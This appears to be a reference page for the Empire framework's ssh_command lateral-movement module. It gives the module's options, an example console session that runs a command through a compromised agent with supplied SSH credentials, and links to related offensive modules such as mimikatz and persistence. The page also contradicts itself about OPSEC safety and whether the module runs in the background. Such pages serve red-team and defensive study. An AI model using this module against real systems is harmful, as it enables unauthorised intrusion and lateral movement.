SSHCommand - Empire Module
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Module Overview
Name: SSHCommand
Module: python/lateral_movement/multi/ssh_command
Source code:
empire/server/modules/python/lateral_movement/multi/ssh_command.yaml
MITRE ATT&CK:
T1021
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: Yes
The ssh_command module will send a command via ssh.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the ssh_command module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the ssh_command module:
Agent
Agent to use ssh from.
Command
Command.
Default value: id.
Login
[email protected].
Password
Password.
Ssh_command Example Usage
Here's an example of how to use the ssh_command module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/lateral_movement/multi/ssh_command
Author @424f424f
Background True
Comments http://stackoverflow.com/questions/17118239/how-to-give-subprocess-a-
password-and-get-stdout-at-the-same-time
Description This module will send a command via ssh.
Language python
Name python/lateral_movement/multi/ssh_command
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1021
,Record Options----,----------,------------------------,
| Name | Value | Required | Description |
|----------|-------|----------|------------------------|
| Agent | | True | Agent to use ssh from. |
|----------|-------|----------|------------------------|
| Command | id | True | Command |
|----------|-------|----------|------------------------|
| Login | | True | [email protected] |
|----------|-------|----------|------------------------|
| Password | | True | Password |
'----------'-------'----------'------------------------'
(Empire: usemodule/python/lateral_movement/multi/ssh_command) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/lateral_movement/multi/ssh_command) > set Command id
[*] Set Command to id
(Empire: usemodule/python/lateral_movement/multi/ssh_command) > set Login [email protected]
[*] Set Login to [email protected]
(Empire: usemodule/python/lateral_movement/multi/ssh_command) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/python/lateral_movement/multi/ssh_command) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml
- http://stackoverflow.com/questions/17118239/how-to-give-subprocess-a-password-and-get-stdout-at-the-same-time
- http://attack.mitre.org/techniques/T1021
See Also
Check also the following modules related to this module:
- python/lateral_movement/multi/ssh_launcher
- powershell/credentials/mimikatz/command
- powershell/lateral_movement/invoke_sshcommand
- powershell/code_execution/invoke_ssharp
- python/management/multi/kerberos_inject
- python/management/multi/spawn
- python/management/multi/socks
- python/situational_awareness/host/multi/WorldWriteableFileSearch
- python/situational_awareness/host/multi/SuidGuidSearch
- python/privesc/multi/bashdoor
- python/privesc/multi/sudo_spawn
- python/persistence/multi/crontab
- python/persistence/multi/desktopfile
- powershell/management/enable_multi_rdp
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
